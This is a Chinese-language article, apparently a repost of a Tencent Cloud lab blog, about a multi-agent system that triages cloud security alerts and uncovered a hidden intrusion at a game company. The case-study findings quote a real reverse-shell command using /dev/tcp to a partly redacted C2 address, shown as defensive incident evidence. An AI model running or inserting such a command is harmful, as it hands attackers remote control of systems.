文章总结： 腾讯云鼎实验室通过引入agent自动研判安全告警，将告警降噪率提升至97.7%。其采用multi-agent协同架构，将分析拆分为规划、调查、研判三步，并调用60+安全工具从威胁情报、攻击历史等7个维度调查告警，覆盖13类高频场景。该方案有效解决了传统运营中人手不足导致的告警忽略问题，并在案例中发现了一起隐藏2个月的入侵，证明了agent在持续值守与深度关联分析上的价值。 综合评分： 88 文章分类： 安全运营,云安全,解决方案,威胁情报,安全工具

97.7% 告警降噪：腾讯云安全运营Agent实践

云鼎实验室

2026年5月22日 18:14 广东

在小说阅读器读本章

去阅读

以下案例源自于腾讯云鼎实验室使用Agent进行告警研判的研究与实践。

“一条本应被忽略的”攻击失败”告警，Agent却从中发现了2个月前的入侵。”

做了什么？

针对于腾讯云的安全告警，云鼎引入Agent自动研判安全告警，把”每条告警都靠人看”变成”Agent先筛、人只看重点”。

1、实践成果：告警降噪率提升至97.7%

2、技术思路：日常帮你不漏报，红蓝演练帮你省人力

• Plan-React-Analysis架构：把复杂的告警分析拆成”规划→调查→研判”三步，多个Agent分工协作，比单个Agent分析更快、更稳定。

• 60+腾讯云安全MCP工具：Agent可以调用情报查询、腾讯云资产画像、日志、告警等60多个工具，像安全专家一样”主动调查”。

• 13类高频告警全覆盖：异常登录、恶意程序、危险命令、网络攻击等最常见的告警类型都能自动研判。后续会覆盖更多告警。

运营痛点：告警太多，人手不够

1、以”某MMORPG游戏公司”为例：

• 7天原始告警17万条，经同特征聚合后1834条，Agent研判后真正需关注的仅42条。

• 按每条5分钟，处理1834条需153小时/周 ≈ 4人全职。

理论上，97.7%的”噪音”不应忽略，不能漏掉真实入侵。

实际情况

• 日常：高频告警被”选择性忽视”，只看态势大盘，不逐条分析。常可能漏掉真正入侵（见第四章案例）。

• 红蓝对抗/重保：临时抽调人力值守，逐条查看。

Agent介入后

尤其是其中一条原本被忽视的告警，Agent发现了隐藏2个月的入侵，这一点也证明了Agent在安全告警上的价值：持续值守、不漏报。

2、传统方案 VS Agent方案

传统方案

Agent方案

如何让Agent来做安全运营？

1、腾讯云安全运营智能体平台五层告警研判体系

第一层：告警数据源

• 接入主机安全、容器安全、云防火墙、WAF等

第二层：告警触发与归并层

• 筛选需分析的告警(未阻断的、危险告警)进行触发

• 按关键维度归并（如异常登录：同源IP+同目的IP+同用户名）

第三层：Multi-Agent研判引擎

以”异常登录”告警为例，Agent会像安全专家一样展开调查：

三阶段流程说明

各阶段输入输出（以异常登录为例）

7个调查维度（以异常登录为例）： 1.威胁情报：源IP是否被标记为恶意？ 2.攻击历史：这个IP近期有没有发起过攻击？ 3.登录基线：用户平时从哪些IP登录？这次是否异常？ 4.登录后行为：登录成功后执行了什么命令？有没有可疑操作？ 5.告警关联：这台主机近期还有其他告警吗？ 6.漏洞风险：主机有弱口令或高危漏洞吗？ 7.资产画像：这是什么业务的机器？暴露在公网吗？

第四层：MCP工具层

• 60+工具，覆盖情报、资产、基线、日志等

• 为Agent设计，返回结构化精简数据

第五层：输出层

• 结论 + 证据链 + 处置建议

2、为什么用Multi-Agent而不是单Agent？

单Agent模式让一个Agent”一口气”完成所有调查，但问题很多：

• 上下文爆炸：提示词太长，Agent容易迷失

• 工具选择混乱：60+工具放在一起，Agent经常调错

• 分析不稳定：成功率只有75%，1/4的概率连结果都输出不了

3、腾讯云安全运营智能体平台MCP工具体系

MCP（Model Context Protocol）让Agent调用外部数据。设计原则：Agent负责”想”，工具负责”查”。

工具设计要点：为Agent优化返回内容

直接把全部数据原样返回给Agent，会有两个问题：

• Token消耗高：原始数据字段多、冗余大

• Agent理解困难：字段命名不直观，可能导致Agent”猜”含义；引入过多数据，影响注意力

云鼎的做法是对返回内容做预处理：

• 精简字段：只返回Agent决策需要的信息

• 易读命名：字段名让Agent一看就懂（如is_malicious而非type_3）

• 预聚合：能提前算好的就算好，减少Agent推理负担

示例：用户登录位置基线工具

1.工具：QueryCWPAccountLoginLocationTool 2.功能：统计登录地理位置分布，返回Top10常用登录地及次数 3.输入：Quuid、UserName、AlarmTime、Offset（默认30天） 4.输出：{“LocationSet”: [{“Location”: “广东-深圳”, “Count”: 156}, …]}

Agent据此判断：“用户历史只在深圳、北京登录，这次从俄罗斯登录，需关注”。

案例还原，Agent如何发现隐藏入侵？

2025年11月3日，某MMORPG游戏公司出现“攻击失败的远程代码执行”告警，传统处理：归类为”攻击尝试，无失陷”——攻击被拦截了。

1、介入Agent调查过程

Step 1: Plan Agent分析

• 识别：网络攻击（PHP RCE）

• 任务：分析载荷、确认目标服务、检查是否失陷

Step 2: SubAgent并行调查

Step 3: Analysis Agent研判

结论：安全事件（高危） 发现：本次攻击被拦截，但php-fpm在2025年10月20日 22:50:02 曾执行反弹Shell：sh -c bash -i >& /dev/tcp/85.19.xxx/6667 0>&1 该进程目前仍在运行（PID:20775）。 判定：主机2个月前已失陷，攻击者已获控制权。 建议：

1. 断开与C2服务器85.19.xxx的连接
2. 清除进程PID:20775
3. 排查入侵路径，修复PHP漏

2、介入Agent之后的降噪率变化

介入Agent后，该公司2026年1月22日-28日真实告警数据降噪率变化如下

样本量较多的场景准确率如下：

Agent的优势在于”不嫌麻烦”——把容易被跳过的关联分析逐项完成

安全运营Agent，是不是”接个模型”就行？

1、是不是”接个大模型”就能做

Agent研判告警的核心不仅是模型，还要让Agent能获取数据、让它思考、验证输出。

• 给它数据：60+工具让Agent能查到威胁情报、主机资产、登录日志等数据。

• 让它思考：13类场景的提示词，告诉Agent每种告警该怎么分析、关注什么。

• 验证输出：持续追踪准确率，发现badcase就优化，让Agent越用越可靠。

2、Multi-Agent的价值

• 分而治之：把”分析一条告警”拆成多个小任务，每个任务更简单、更可控。

• 专业分工：每个SubAgent只负责一类调查（查情报、查资产、查日志），做到专业。

• 可维护：某个场景出问题，只需改对应的SubAgent，不影响其他场景。

目前，腾讯云安全中心已封装60+安全数据获取工具，包括情报、资产、基线、日志、告警统计等能力，对接主机安全、容器安全、云防火墙、WAF等产品数据，现已开放试用，欢迎扫码申请~

END

更多精彩内容点击下方扫码关注哦~

关注云鼎实验室，获取更多安全情报

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：云鼎实验室 《97.7% 告警降噪：腾讯云安全运营Agent实践》